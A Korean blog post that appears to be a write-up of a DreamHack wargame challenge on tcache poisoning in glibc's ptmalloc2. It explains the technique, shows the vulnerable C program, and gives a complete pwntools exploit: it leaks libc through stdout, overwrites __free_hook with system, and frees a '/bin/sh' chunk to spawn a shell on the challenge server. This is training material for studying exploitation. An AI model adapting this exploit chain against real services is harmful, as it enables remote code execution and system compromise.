Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage12_문제풀이(Tcache Poisoning) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage12_문제풀이(Tcache Poisoning)

CIDY 2022. 7. 9. 17:58

이전 글에서 double free를 통해 duplication list를 형성할 수 있다고 했었다. 그런데 만약 청크를 중복으로 연결해두고, 한 번 재할당하면 어떻게 될까? -> 그 청크는 해제된 청크인 동시에 할당된 청크이다. -> 임의 주소에 청크를 할당하거나, 그 청크를 이용해 임의 주소 데이터를 읽기 및 조작할 수 있다. 이를 Tcache Poisoning이라고 한다.

 

해제된 청크와 할당된 청크 구조의 가장 큰 차이점은 청크 헤더이다. 청크 구조에 대해서는 아래 글에서 설명했었다. ↓

 

https://orcinus-orca.tistory.com/55

 

[System_Hacking] stage12_ptmalloc2

*ptmalloc2 지난 시간에 use after free 취약점을 설명하면서 이런 말을 한 적이 있다. "ptmalloc2는 청크 할당 요청이 들어오면 해제된 청크 중 유사한 크기의 것이 있는지 확인한 후 그것을 우선으로 내

orcinus-orca.tistory.com

 

그리고 문제점 역시 청크 헤더에서 발생한다. 할당된 청크는 연결될 필요가 없으니 fd와 bk가 없지만, 해제된 청크들은 fd, bk로 연결되어야 하고, 이는 할당된 청크 데이터 영역의 16바이트 공간과 중복된다.

 

-> 중첩된 상태의 청크에 임의의 값을 써 fd, bk를 조작할 수 있다. -> free list는 fd와 .bk로 연결되므로, ptmalloc2의 free list에 임의 주소를 추가할 수 있는 것이다. -> ptmalloc2는 동적할당 요청에 대해 free list의 청크를 먼저 반환하므로, 이를 이용해 임의 주소에 청크를 할당할 수 있다.

 

// 64-bit, nx, full relro
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}

 

 

일단 초기화를 하나도 안 하기 때문에 굳이 이중으로 해제해주지 않더라도 충분히 릭을 할 수 있다.

 

일단 stdout을 릭해온다고 가정하고 시작하자.

 

1번에서 할당 -> 2번에서 해제 -> 4번에서 edit으로 stdout주소 쓰기 -> 그럼 chunk가 stdout을 가리키니 -> 한 번 더 할당해주면 처음 할당했던 애가 다시 나오고 -> 한 번 더 할당해주면 (물론 사이즈는 같게 해 줘야 함) -> stdout주소로 할당될테니 -> 그곳에는 stdout이 가리키는 _IO_2_1_stdout_ (립시 영역)주소가 있으므로 그걸 릭해오면 된다.

fd값 잘 조작됨.

 

from pwn import *

p = remote("host3.dreamhack.games", 9265)
#p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")

def alloc(size, data):
    p.sendlineafter(b"Edit\n", b"1")
    p.sendlineafter(b":", str(size))
    p.sendafter(b":", data)

def free():
     p.sendlineafter(b"Edit\n", b"2")

def rprint():
    p.sendlineafter(b"Edit\n", b"3")

def edit(data):
    p.sendlineafter(b"Edit\n", b"4")
    p.sendafter(b":", data)

alloc(0x30, b"A")
free()
stdout = e.sym['stdout']
edit(p64(stdout))
alloc(0x30, b"B")
alloc(0x30, b"\x60")
rprint()

p.recvuntil(b"Content: ")

stdout = u64(p.recvn(6).ljust(8, b"\x00"))
print(hex(stdout))
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

alloc(0x40, b"A")
free()
edit(p64(free_hook))
alloc(0x40, b"A")
alloc(0x40, p64(system))

alloc(0x50, b"/bin/sh\x00")
free()
#pause()


p.interactive()

 

로컬에서는 버전이 높아 tc_idx때문에 stdout에서 청크 할당해오는게 안 돼서 (아예 새롭게 할당한다고 함) 쉘을 못 땄는데 remote하니까 된다.